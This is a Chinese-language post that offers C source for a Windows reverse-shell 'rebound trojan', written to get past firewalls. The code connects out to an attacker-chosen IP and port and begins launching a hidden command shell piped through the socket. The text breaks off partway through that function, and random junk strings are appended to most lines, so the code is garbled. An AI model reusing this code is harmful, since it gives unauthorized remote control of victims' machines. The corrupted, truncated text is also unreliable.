这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 *]s&8/Gmb
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/* ==============================
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Rebound port in Windows NT 6J%iZ
By wind,2006/7 en9en=n|
===============================*/ |V`S>m%N
#include Sl~x$9`
#include =^h~!ovj:
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#pragma comment(lib,"wsock32.lib") _zC (J
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void OutputShell(); j%& IL0
SOCKET sClient; V`fL%du,3
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &K:' #[3V
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void main(int argc,char **argv) fk5XvL
{ A%ywj'|z
WSADATA stWsaData; <9@7,2
int nRet;
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SOCKADDR_IN stSaiClient,stSaiServer; MV+i{]
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if(argc != 3) PDw{R]V+
{ d,'!.#e
printf("Useage:\n\rRebound DestIP DestPort\n"); ]1fZupM^6
return; <fM>Yi5
} 9Z!lmfnJ
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WSAStartup(MAKEWORD(2,2),&stWsaData); g0#q"v55
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z] @W[MHY
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stSaiClient.sin_family = AF_INET; rm+v(&
stSaiClient.sin_port = htons(0); (:$9%,x
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); EI`vVI
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Sa]Ek*
{ gM_:l
printf("Bind Socket Failed!\n"); {HZS:AV0
return; zS%
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} Fu0.~w
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stSaiServer.sin_family = AF_INET; ySruAkw%
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Hc!!tbBQ
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); V;*pL1
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) l]vohLz
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{ fykI,!
printf("Connect Error!"); `
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return; :{CFTc5:A
} {'(ej5,6
OutputShell(); \JU ~k5j
} h=f6~5l5
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void OutputShell() URw!7bTz
{ ZDlu1>Q
char szBuff[1024]; z<QIuq
SECURITY_ATTRIBUTES stSecurityAttributes; SL*DK.
OSVERSIONINFO stOsversionInfo; a"qR J-@
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /Nqrvy=
STARTUPINFO stStartupInfo; OLFt;h
char *szShell; lS{4dvr?w
PROCESS_INFORMATION stProcessInformation; lV7IHX1P
unsigned long lBytesRead; 4 ?2g&B\
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); FrR9{YTA.
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); RdkU2Y}V
stSecurityAttributes.lpSecurityDescriptor = 0; S_T
stSecurityAttributes.bInheritHandle = TRUE; B/u*<k4
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); JTkCk~bX[z
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); a#R%8)
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); x(yX0 ,P/7
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nL\ZId
stStartupInfo.wShowWindow = SW_HIDE; nh. b/\o
stStartupInfo.hStdInput = hReadPipe; -y <